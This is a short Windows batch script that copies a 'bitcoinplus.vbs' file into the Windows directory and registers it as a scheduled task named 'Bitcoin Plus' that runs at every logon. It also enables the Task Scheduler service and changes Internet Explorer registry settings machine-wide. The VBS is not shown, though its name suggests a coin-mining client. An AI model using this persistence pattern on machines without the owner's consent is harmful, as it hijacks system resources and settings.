@echo off
VER | FINDSTR /I "XP" && GOTO xp

:xp
REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no /f
REG ADD "HKLM\SOFTWARE\Microsoft\Internet Explorer\MAIN" /v Check_Associations /t REG_SZ /d no /f
sc config Schedule start= auto
sc start Schedule
COPY bitcoinplus.vbs %windir% /Y
XCOPY bitcoinplus.vbs %windir% /F /Y
SCHTASKS /End /TN "Bitcoin Plus"
rem PING 127.0.0.1 >nul
SCHTASKS /Delete /TN "Bitcoin Plus" /F
pause
SCHTASKS /Create /RU "" /SC ONLOGON /TN "Bitcoin Plus" /TR "%windir%\bitcoinplus.vbs"
%windir%\explorer.exe %windir%\Tasks
SCHTASKS /Run /TN "Bitcoin Plus"
pause
